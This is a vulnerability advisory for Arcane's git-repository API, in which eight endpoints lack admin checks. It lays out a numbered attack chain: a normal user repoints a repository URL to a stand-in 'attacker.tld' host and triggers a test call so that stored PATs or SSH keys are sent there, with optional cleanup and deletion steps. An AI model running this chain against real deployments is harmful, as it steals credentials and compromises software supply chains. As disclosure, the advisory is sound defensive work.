Arcane EUVD-2026-33373

Summary

Arcane's huma-based REST API exposes nine endpoints under /api/customize/git-repositories and /api/git-repositories/sync for managing GitOps source repositories and their stored credentials. Eight of those endpoints (list, create, get, update, delete, test, listBranches, browseFiles) never call the checkAdmin(ctx) helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the admin role. As a result, any logged-in user with the default user role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository's URL to an attacker-controlled host while omitting the token/sshKey fields (which UpdateRepository only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next /test, /branches, or /files call and present it as HTTP Basic auth (or SSH key auth) to the attacker's host - producing a one-step exfiltration of plaintext Git credentials.

Details

Auth bridge does not enforce role

backend/internal/huma/middleware/auth.go:192-254 (NewAuthBridge) validates Bearer JWTs / API keys / agent tokens and stores the user (and an userIsAdmin flag) in the request context, but it never rejects non-admin callers - admin enforcement is intentionally delegated to handlers via helpers.checkAdmin:

// backend/internal/huma/handlers/helpers.go:11-12
// checkAdmin checks if the current user is an admin and returns a 403 error if not.
func checkAdmin(ctx context.Context) error { ... }

grep -rn "checkAdmin" confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role "user" (backend/internal/huma/handlers/users.go:222-223):

if userModel.Roles == nil {
    userModel.Roles = []string{"user"}
}

Git repository handler is missing the admin gate on 8 of 9 endpoints

backend/internal/huma/handlers/git_repositories.go:117-236 registers nine endpoints. Only SyncRepositories (line 456) calls checkAdmin(ctx). The other handlers - ListRepositories (line 243), CreateRepository (271), GetRepository (301), UpdateRepository (326), DeleteRepository (356), TestRepository (382), ListBranches (407), BrowseFiles (428) - perform no role check whatsoever:

// backend/internal/huma/handlers/git_repositories.go:326-336
func (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) {
    if h.repoService == nil {
        return nil, huma.Error500InternalServerError("service not available")
    }
    actor := models.User{}
    if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists && currentUser != nil {
        actor = *currentUser
    }
    repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor)
    ...

The service layer (backend/internal/services/git_repository_service.go) has no role enforcement either - grep -n "admin" backend/internal/services/git_repository_service.go returns nothing.

Credential-preserving update primitive

UpdateRepository builds a partial update map: the token/ssh_key columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when req.URL != nil:

// backend/internal/services/git_repository_service.go:185-219
updates := make(map[string]any)
if req.Name != nil      { updates["name"] = *req.Name }
if req.URL != nil       { updates["url"]  = *req.URL }   // <-- attacker-pivotable
if req.AuthType != nil  { updates["auth_type"] = *req.AuthType }
...
if req.Token != nil {                                      // <-- only rewritten if supplied
    if *req.Token == "" { updates["token"] = "" } else {
        encrypted, err := crypto.Encrypt(*req.Token)
        ...
        updates["token"] = encrypted
    }
}

So PUT /customize/git-repositories/{id} with body {"url":"https://attacker.tld/repo.git"} retargets the repository while preserving the encrypted token.

Sink: Basic-auth send to attacker URL

TestConnection and ListBranches/BrowseFiles decrypt the stored token via GetAuthConfig and pass the chosen URL + auth to gitutil:

// backend/internal/services/git_repository_service.go:340-363
func (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) {
    authConfig := git.AuthConfig{
        AuthType: repository.AuthType, Username: repository.Username, ...
    }
    if repository.Token != "" {
        token, err := crypto.Decrypt(repository.Token)
        ...
        authConfig.Token = token
    }
    ...
}

// backend/pkg/gitutil/git.go:60-69
case "http":
    if config.Token != "" {
        return &githttp.BasicAuth{
            Username: config.Username,
            Password: config.Token,
        }, nil
    }

go-git's HTTP transport sends Authorization: Basic base64(username:token) in the very first reference-discovery request to the (attacker-controlled) URL - so the cleartext PAT lands in the attacker's web-server access log on the first call to /test, /branches, or /files.

Full attack chain (HTTP-token variant)

1. Attacker authenticates as a normal user (registration or any pre-existing low-priv account).
2. GET /api/customize/git-repositories enumerates all configured repositories (id, url, authType, username - token/sshKey are encrypted but their *existence* is visible).
3. PUT /api/customize/git-repositories/{id} with {"url":"https://attacker.tld/repo.git"} retargets the repo while preserving the encrypted PAT.
4. POST /api/customize/git-repositories/{id}/test (or GET .../branches) makes Arcane decrypt the PAT and send it to attacker.tld as HTTP Basic auth.
5. Optional cleanup: PUT again to restore the original URL, leaving no obvious config drift; or DELETE every repo for DoS on the GitOps pipeline.

The same primitive works for authType: "ssh" repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default accept_new host-key mode, by the attacker simply observing the SSH session).

Impact

• Cleartext exfiltration of stored Git credentials. PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org's source repos, CI secrets, container registries, and downstream production systems - escaping Arcane's security boundary entirely (S:C).
• Privilege escalation to effective Arcane admin over GitOps. Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys.
• Supply-chain integrity loss. A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments.
• Denial of service on the GitOps pipeline. DELETE /customize/git-repositories/{id} lets any user wipe production repository configurations.
• Information disclosure of private repo contents. GET .../files clones private repos using stored credentials and returns file contents in the API response, regardless of caller role.

Default Arcane installations create new accounts with role user; no special configuration is required for the attack to be reachable.